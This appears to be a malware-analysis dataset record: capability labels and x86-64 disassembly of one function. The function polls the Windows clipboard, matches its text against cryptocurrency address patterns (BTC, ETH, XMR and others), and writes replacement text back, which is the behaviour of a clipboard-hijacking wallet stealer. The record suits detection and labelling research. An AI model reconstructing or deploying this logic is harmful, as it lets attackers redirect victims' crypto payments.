Function at 0x46e205
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x148
movaps xmmword [rsp + 0x130], xmm6
lea rbp, [rsp + 0x88]
mov r14d, 1
xor eax, eax
mov qword [rsp + 0xb0], rax
xorps xmm6, xmm6
lea r12, [rsp + 0x50]
xor eax, eax
mov qword [rsp + 0xc8], rax
xor eax, eax
mov qword [rsp + 0xd0], rax
mov eax, 1
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xb8], r14
mov rax, rsi
shl rax, 0x20
mov r13d, r15d
or r13, rax
mov rdi, 0xfffffffffffffff6
xor ecx, ecx
call sub.user32.dll_OpenClipboard
test eax, eax
jne 0x46e2a2
call sub.kernel32.dll_GetLastError
test rdi, rdi
je 0x46e400
xor ecx, ecx
call fcn.0059cc10
inc rdi
jmp 0x46e27d
movups xmmword [rbp], xmm6
mov qword [rsp + 0x80], 1
mov ecx, 0xd
call sub.user32.dll_GetClipboardData
test rax, rax
je 0x46e3bc
mov rdi, rax
mov rcx, r12
mov rdx, rax
call fcn.00470082
mov r15, qword [rsp + 0x50]
test r15, r15
je 0x46e3c6
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rcx, rdi
call sub.kernel32.dll_GlobalSize
mov rdi, rax
shr rdi, 1
movups xmmword [rsp + 0x30], xmm6
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov ecx, 0xfde9
xor edx, edx
mov r8, r15
mov r9d, edi
call sub.kernel32.dll_WideCharToMultiByte
test eax, eax
je 0x46e3cd
mov r12d, eax
movsxd rsi, eax
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.00433ead
mov r14, qword [rsp + 0x80]
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
mov ecx, 0xfde9
xor edx, edx
mov r8, r15
mov r9d, edi
call sub.kernel32.dll_WideCharToMultiByte
mov qword [rsp + 0xc0], rsi
neg rsi
mov rax, 0xffffffffffffffff
lea r12, [rsp + 0x50]
lea rdx, [rsi + rax]
cmp rdx, 0xffffffffffffffff
je 0x46e39e
mov dl, byte [r14 + rax + 1]
inc rax
test dl, dl
jne 0x46e379
cmp dl, 1
sbb rax, 0xffffffffffffffff
mov qword [rsp + 0xc0], rax
mov rcx, rbx
call rbp
mov r15, qword [rsp + 0x88]
mov rsi, r15
shr rsi, 0x20
lea rbp, [rsp + 0x88]
jmp 0x46e3f6
call sub.kernel32.dll_GetLastError
mov r15d, eax
jmp 0x46e3e7
mov r15d, dword [rsp + 0x58]
jmp 0x46e3e7
call sub.kernel32.dll_GetLastError
mov r15d, eax
mov rcx, rbx
call rbp
lea rbp, [rsp + 0x88]
lea r12, [rsp + 0x50]
mov ecx, 1
xor edx, edx
call fcn.00433bdd
xor r14d, r14d
call fcn.004700c8
test r14, r14
jne 0x46e427
mov ecx, 1
xor edx, edx
call fcn.00576f54
xor ecx, ecx
mov edx, 0xee6b280
call fcn.00576f54
xor ecx, ecx
mov rdx, r13
call fcn.0055f979
jmp 0x46e276
mov qword [rsp + 0x48], rsi
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xb0]
call fcn.00433bdd
mov rcx, r14
mov rdi, qword [rsp + 0xc0]
mov rdx, rdi
mov rsi, qword [rsp + 0xd8]
mov r8, rsi
mov r9, qword [rsp + 0xd0]
call fcn.0047b231
test al, al
je 0x46e475
mov rsi, qword [rsp + 0x48]
jmp 0x46eeed
mov rcx, r12
mov rdx, r14
mov r8, rdi
call fcn.00434176
mov rcx, rsi
mov rdx, qword [rsp + 0xc8]
call fcn.00433bdd
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd0], rax
cmp rdi, 0x22
lea r13, [rsp + 0xe0]
mov qword [rsp + 0xd8], rcx
je 0x46e53a
cmp rdi, 0x23
je 0x46e59d
cmp rdi, 0x2a
je 0x46e5d6
cmp rdi, 0x30
je 0x46e60f
cmp rdi, 0x38
mov rsi, qword [rsp + 0x48]
je 0x46e648
cmp rdi, 0x3a
je 0x46e765
cmp rdi, 0x5f
jne 0x46e8d1
lea rax, [r14 + 0x5f]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x50]
call fcn.00433914
cmp eax, 0x34
je 0x46e7ec
cmp eax, 0x110000
jne 0x46e8d1
jmp 0x46ef27
lea rax, [r14 + 0x22]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rax
mov rcx, r12
call fcn.00433914
cmp eax, 0x54
je 0x46e7fe
cmp eax, 0x110000
je 0x46ef27
mov edx, 0x22
mov r9d, 1
mov rcx, r14
lea r8, [0x006c109c]
call fcn.00563284
mov r12d, 3
test al, al
mov rsi, qword [rsp + 0x48]
je 0x46e862
lea rbx, [0x006c103c]
jmp 0x46ebb1
mov edx, 0x23
mov r9d, 2
mov rcx, r14
lea r8, [0x006c1097]
call fcn.00563284
mov r12d, 3
lea rbx, [0x006c1081]
test al, al
mov rsi, qword [rsp + 0x48]
je 0x46e8d1
jmp 0x46ebb1
mov edx, 0x2a
mov r9d, 4
mov rcx, r14
lea r8, [0x006c108f]
call fcn.00563284
mov r12d, 3
test al, al
mov rsi, qword [rsp + 0x48]
je 0x46e815
lea rbx, [0x006c1033]
jmp 0x46ebb1
mov edx, 0x30
mov r9d, 1
mov rcx, r14
lea r8, [0x00771966]
call fcn.0046c4a5
mov r12d, 3
test al, al
mov rsi, qword [rsp + 0x48]
je 0x46e83f
lea rbx, [0x006c1075]
jmp 0x46ebb1
mov edx, 0x38
mov r9d, 1
mov rcx, r14
lea r8, [0x006c10aa]
call fcn.00563284
test al, al
je 0x46e8d1
mov r8d, 0xc
lea rdi, [rsp + 0x50]
mov rcx, rdi
lea rdx, [0x006c109e]
call fcn.004c1746
cmp qword [rsp + 0x50], 0
je 0x46ef27
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov ecx, 0x38
call fcn.00550fc6
movdqu xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movdqu xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm2
mov rcx, qword [r14 + 0x30]
mov qword [rax + 0x30], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], 0x38
mov rcx, rdi
lea rdx, [0x006c10ab]
lea r8, [0x006c10ad]
call fcn.00433e6a
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov r8, rdi
call fcn.0046ef2b
mov r13d, eax
mov rcx, rdi
mov rdx, rbx
call fcn.00433bdd
lea rcx, [rsp + 0x80]
call fcn.0046ca89
mov r12d, 3
lea rbx, [0x006c1088]
test r13b, r13b
lea r13, [rsp + 0xe0]
je 0x46e8d1
jmp 0x46ebb1
mov r8d, 0xc
mov rcx, r12
lea rdx, [0x006c109e]
call fcn.004c1746
cmp qword [rsp + 0x50], 0
je 0x46ef27
movdqu xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x90], xmm1
movdqa xmmword [rsp + 0x80], xmm0
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov r9d, 0x3a
mov r8, r14
call fcn.0046ef2b
mov ebx, eax
lea rcx, [rsp + 0x80]
call fcn.0046ca89
mov r12d, 4
lea rax, [0x006c1084]
test bl, bl
mov rbx, rax
je 0x46e8d1
jmp 0x46ebb1
mov r12d, 3
lea rbx, str.XMRBNBTRXETHBTC17CoSbqEDELfNjUx2i6GrAm3tzfw7ggfAfDOGEBCHLTCDASHXRPADATONNEOETCSOLZECALGOXLMIBANbnb10x3ft1bc113_A_Z2_7_58GAAD1_5_9A_HJ_NP_U_1_1_9A_HJ_NP_Za_km_z_32___bitcoincashbchregbchtest_:___qp__a_z0_9_41___:_LM3__a_km_zA_HJ_NP_Z1_9_26_33__X_1_9A_HJ_NP_Za_km_z_33__br_0_9a_zA_Z_24_34_bD_A_NP_Za_km_z1_9_35____:A_0_9a_zA_Z_33____1_9A_HJ_NP_Za_km_z_32_44___a_zA_Z_2_0_9_2_a_zA_Z0_9_4_0_9_7__a_zA_Z0_9___0_16127.0.0.1:6949Listening_on_port_6949_n
jmp 0x46ebb1
mov r12d, 3
lea rbx, [0x006c1036]
mov rsi, qword [rsp + 0x48]
jmp 0x46ebb1
mov edx, 0x2a
mov r9d, 4
mov rcx, r14
lea r8, [0x006c1093]
call fcn.00563284
test al, al
je 0x46e879
lea rbx, [0x006c107b]
jmp 0x46ebb1
mov edx, 0x30
mov r9d, 1
mov rcx, r14
lea r8, [0x007719a2]
call fcn.0046c4a5
lea rbx, [0x006c1075]
jmp 0x46e8c9
mov edx, 0x22
mov r9d, 1
mov rcx, r14
lea r8, [0x006c109d]
jmp 0x46e8bd
mov edx, 0x2a
mov r9d, 2
mov rcx, r14
lea r8, [0x0079883a]
call fcn.00563284
lea rbx, [0x006c1039]
test al, al
jne 0x46ebb1
mov r12d, 3
mov edx, 0x2a
mov r9d, 3
mov rcx, r14
lea r8, [0x006c1099]
call fcn.00563284
lea rbx, [0x006c103c]
test al, al
jne 0x46ebb1
call fcn.0055e1dd
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
movups xmm0, xmmword [0x00775880]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x00775890]
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x20], 0x2f
mov r8d, 4
lea rdi, [rsp + 0x50]
mov rcx, rdi
lea rdx, [0x006c1061]
lea r9, [0x006c10ad]
call fcn.00407be3
mov qword [rsp + 0x20], 0x33
mov r8d, 3
mov rcx, rdi
lea rdx, [0x006c1065]
lea r9, [0x006c10dc]
call fcn.00407be3
mov qword [rsp + 0x20], 0x26
mov r8d, 3
mov rcx, rdi
lea rdx, [0x006c1068]
lea r9, [0x006c110f]
call fcn.00407be3
mov qword [rsp + 0x20], 0x1b
mov r8d, 4
mov rcx, rdi
lea rdx, [0x006c106b]
lea r9, [0x006c1135]
call fcn.00407be3
mov qword [rsp + 0x20], 0x17
mov r8d, 3
mov rcx, rdi
lea rdx, [0x006c106f]
lea r9, [0x006c1150]
call fcn.00407be3
mov qword [rsp + 0x20], 0x19
mov r8d, 3
mov rcx, rdi
lea rdx, [0x006c1072]
lea r9, [0x006c1167]
call fcn.00407be3
mov qword [rsp + 0x20], 0x16
mov r8d, 3
mov rcx, rdi
lea rdx, [0x006c1078]
lea r9, [0x006c1180]
call fcn.00407be3
mov qword [rsp + 0x20], 0x1f
mov r8d, 3
mov rcx, rdi
lea rdx, [0x006c107e]
lea r9, [0x006c1196]
call fcn.00407be3
mov qword [rsp + 0x20], 0x3d
mov r8d, 4
mov rcx, rdi
lea rdx, [0x006c108b]
lea r9, [0x006c11b5]
call fcn.00407be3
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov rdi, qword [rsp + 0x68]
mov qword [rsp + 0x80], rax
add rax, 0x10
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rcx
mov word [rsp + 0x98], dx
mov qword [rsp + 0xa0], rdi
test rdi, rdi
je 0x46ed25
lea rsi, [rsp + 0x98]
mov rcx, rsi
call fcn.0048bdeb
cmp rax, 1
je 0x46eae8
mov rax, qword [rsp + 0x88]
movdqa xmm0, xmmword [rax]
pmovmskb ecx, xmm0
not ecx
mov word [rsp + 0x98], cx
add qword [rsp + 0x80], 0xfffffffffffffe00
add rax, 0x10
mov qword [rsp + 0x88], rax
jmp 0x46eaa6
shl rdx, 5
mov rax, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xa0]
mov r12, rax
sub r12, rdx
dec rdi
mov qword [rsp + 0xa0], rdi
neg rdx
mov rdx, qword [rax + rdx - 0x10]
mov r8, qword [r12 - 8]
mov rcx, r13
call fcn.004c1746
cmp qword [rsp + 0xe0], 0
je 0x46ef27
movdqu xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x110], xmm1
movdqa xmmword [rsp + 0x100], xmm0
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
mov r8, r14
mov r9, qword [rsp + 0xc0]
call fcn.0046ef2b
mov ebx, eax
lea rcx, [rsp + 0x100]
call fcn.0046ca89
test bl, bl
je 0x46ea95
mov rbx, qword [r12 - 0x20]
mov r12, qword [r12 - 0x18]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.004072db
test r12, r12
mov rsi, qword [rsp + 0x48]
je 0x46eee8
call fcn.0046efec
lea rcx, [rsp + 0x50]
call fcn.0046f042
cmp qword [rsp + 0x50], 0
jne 0x46ef27
mov rdi, qword [rsp + 0x58]
lea rcx, [rdi + 0x10]
mov rdx, rbx
mov r8, r12
call fcn.0046f079
test rax, rax
je 0x46ef27
mov qword [rsp + 0x48], rbx
mov rbx, qword [rax + 8]
mov rcx, rdi
call sub.kernel32.dll_ReleaseSRWLockExclusive
test rbx, rbx
je 0x46ed19
call fcn.0046efec
lea rcx, [rsp + 0x50]
call fcn.0046f042
cmp qword [rsp + 0x50], 0
jne 0x46ef27
mov r13, qword [rsp + 0x58]
lea rcx, [r13 + 0x10]
mov rdx, qword [rsp + 0x48]
mov r8, r12
call fcn.0046f079
test rax, rax
je 0x46ef27
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x100], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x80], rax
lea rax, [fcn.0047688f]
mov qword [rsp + 0x88], rax
lea rax, [0x006c1000]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 3
and qword [rsp + 0x70], 0
lea rax, [rsp + 0x100]
mov qword [rsp + 0x90], rax
lea rax, [fcn.00478735]
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
lea rcx, [rsp + 0x50]
call fcn.005738f0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xb0], rax
mov rbx, qword [rsp + 0xe8]
mov rdi, 0xfffffffffffffff6
xor ecx, ecx
call sub.user32.dll_OpenClipboard
test eax, eax
jne 0x46ed3e
call sub.kernel32.dll_GetLastError
test rdi, rdi
je 0x46eeb7
xor ecx, ecx
call fcn.0059cc10
inc rdi
jmp 0x46ecf4
mov edi, 1
xor ebx, ebx
jmp 0x46eedd
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.004072db
lea r12, [rsp + 0x50]
jmp 0x46e46b
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov ecx, 0xfde9
xor edx, edx
mov r8, qword [rsp + 0xb0]
mov r9d, ebx
call sub.kernel32.dll_MultiByteToWideChar
test rbx, rbx
je 0x46ed73
test eax, eax
jne 0x46ed73
call sub.kernel32.dll_GetLastError
jmp 0x46eeb2
movsxd rbp, eax
lea rdx, [rbp*2 + 2]
mov ecx, 0x42
call sub.kernel32.dll_GlobalAlloc
test rax, rax
je 0x46ef20
mov rdi, rax
lea rcx, [rsp + 0x50]
mov rdx, rax
call fcn.00470082
mov rcx, rdi
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x46eea5
mov qword [rsp + 0xb8], rcx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rdi
mov ecx, 0xfde9
xor edx, edx
mov r8, qword [rsp + 0xb0]
mov r9d, ebx
call sub.kernel32.dll_MultiByteToWideChar
and word [rdi + rbp*2], 0
mov rcx, qword [rsp + 0x120]
call qword [rsp + 0x128]
call sub.user32.dll_EmptyClipboard
test eax, eax
jne 0x46ee16
call sub.kernel32.dll_GetLastError
mov ecx, 0xd
mov rdi, qword [rsp + 0xb8]
mov rdx, rdi
call sub.user32.dll_SetClipboardData
test rax, rax
lea rbp, [rsp + 0x88]
je 0x46ef13
call fcn.004700c8
mov byte [rsp + 0x100], 1
lea rax, [0x007199b8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
and qword [rsp + 0x70], 0
lea rax, [rsp + 0x100]
mov qword [rsp + 0x80], rax
lea rax, [0x0047518c]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rcx, [rsp + 0x50]
call fcn.005738f0
jmp 0x46eeb7
call fcn.00470078
lea rbp, [rsp + 0x88]
call fcn.004700c8
mov rcx, r13
call sub.kernel32.dll_ReleaseSRWLockExclusive
mov rcx, r12
call fcn.00550fc6
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov rdx, qword [rsp + 0x48]
mov r8, r12
call sub.ntdll.dll_memcpy
mov rcx, rdi
mov rdx, rbx
call fcn.00433bdd
lea r12, [rsp + 0x50]
mov rax, rsi
shl rax, 0x20
mov ecx, r15d
or rcx, rax
mov qword [rsp + 0xb0], rcx
xor ecx, ecx
mov edx, 0xee6b280
call fcn.00576f54
jmp 0x46e261
mov rcx, rdi
call fcn.00470078
jmp 0x46ed69
call fcn.0047007d
jmp 0x46eeaa
ud2